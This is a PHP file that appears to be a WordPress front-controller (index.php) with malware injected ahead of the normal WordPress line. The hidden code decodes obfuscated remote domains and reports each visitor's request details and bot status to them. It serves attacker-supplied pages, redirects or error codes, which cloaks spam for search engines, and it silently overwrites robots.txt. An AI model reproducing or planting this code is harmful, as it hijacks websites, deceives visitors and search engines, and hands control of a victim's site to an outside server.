<?php
$xmlstring = '%31%36%39%35%2D%65%6E%61%78%31%31%38%2E%65%62%61%76%66%67%76%72%2E%6B%6C%6D,%31%36%39%35%2D%65%6E%61%78%31%31%38%2E%79%6E%6F%6C%65%76%61%67%75%76%61%72%2E%67%62%63,%31%36%39%35%2D%65%6E%61%78%31%31%38%2E%73%68%67%68%65%72%6D%62%61%2E%6B%6C%6D,%31%36%39%35%2D%65%6E%61%78%31%31%38%2E%66%7A%6E%65%67%69%72%61%67%68%61%2E%67%62%63';
$xmlname = explode(',', $xmlstring);
$http = is_https() ? 'https' : 'http';
$duri_tmp = drequest_uri();
$duri = empty($duri_tmp) ? '/' : $duri_tmp;
$host = $_SERVER['HTTP_HOST'];
$lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'en';
$urlshang = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$web = 'web=' . $host . '&zz=' . (disbot() ? '1' : '0') . '&uri=' . urlencode($duri) . '&urlshang=' . urlencode($urlshang) . '&http=' . $http . '&lang=' . $lang;
$html_content = doutdo($xmlname, $http, $web);
$robotsPath = $_SERVER['DOCUMENT_ROOT'] . '/robots.txt';
$hta = "";
if (stristr($duri, '/?')) {
    $hta = "?";
}
$defaultContent = 'User-agent: *' . PHP_EOL;
$defaultContent .= 'Allow: /' . PHP_EOL . PHP_EOL;
$defaultContent .= 'Sitemap: ' . $http . '://' . $host . '/' . $hta . 'sitemap.xml' . PHP_EOL;
if (!file_exists($robotsPath)) {
    file_put_contents($robotsPath, $defaultContent);
} else {
    if (md5_file($robotsPath) !== md5($defaultContent)) {
        @file_put_contents($robotsPath, $defaultContent);
    }
}
if (!strstr($html_content, 'nobotuseragent')) {
    handle_content($html_content);
}
function is_https()
{
    return (
        isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off'
        || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'
        || isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off'
    );
}
function drequest_uri()
{
    if (isset($_SERVER['REQUEST_URI'])) {
        return $_SERVER['REQUEST_URI'];
    } elseif (isset($_SERVER['argv'])) {
        return $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
    } else {
        return $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
    }
}
function disbot()
{
    $uAgent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
    return stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot');
}
function doutdo($webs, $http, $web)
{
    shuffle($webs);
    foreach ($webs as $domain) {
        $domain = str_rot13(urldecode($domain));
        $url = 'http://' . $domain . '/index.php?' . $web;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $response = curl_exec($ch);
        if (!curl_errno($ch)) {
            curl_close($ch);
            return $response;
        } else {
            curl_close($ch);
        }
        if (ini_get('allow_url_fopen')) {
            $response = @file_get_contents($url);
            if ($response !== false) {
                return $response;
            }
        }
    }
    echo 'cURL Error: 0';
}
function handle_content($html_content)
{
    if (strstr($html_content, 'okhtmlgetcss')) {
        header('Content-Type: text/css; charset=utf-8');
        echo str_replace("okhtmlgetcss", '', $html_content);
        exit();
    } elseif (strstr($html_content, 'okhtmlgetcontent')) {
        header('Content-type: text/html; charset=utf-8');
        echo str_replace("okhtmlgetcontent", '', $html_content);
        exit();
    } elseif (strstr($html_content, 'okxmlgetcontent')) {
        header('Content-Type: application/xml; charset=utf-8');
        echo str_replace("okxmlgetcontent", '', $html_content);
        exit();
    } elseif (strstr($html_content, 'getcontent500page')) {
        header('HTTP/1.1 500 Internal Server Error');
        exit();
    } elseif (strstr($html_content, 'getcontent404page')) {
        header('HTTP/1.1 404 Not Found');
        exit();
    } elseif (strstr($html_content, 'getcontent301page')) {
        header('HTTP/1.1 301 Moved Permanently');
        $html_content = str_replace('getcontent301page', '', $html_content);
        header('Location: ' . $html_content);
        exit();
    } elseif (strstr($html_content, 'okrobotsgetcontent')) {
        header('Content-Type: text/plain');
        echo str_replace("okrobotsgetcontent", '', $html_content);
        exit();
    }
}
define( 'WP_USE_THEMES', true );
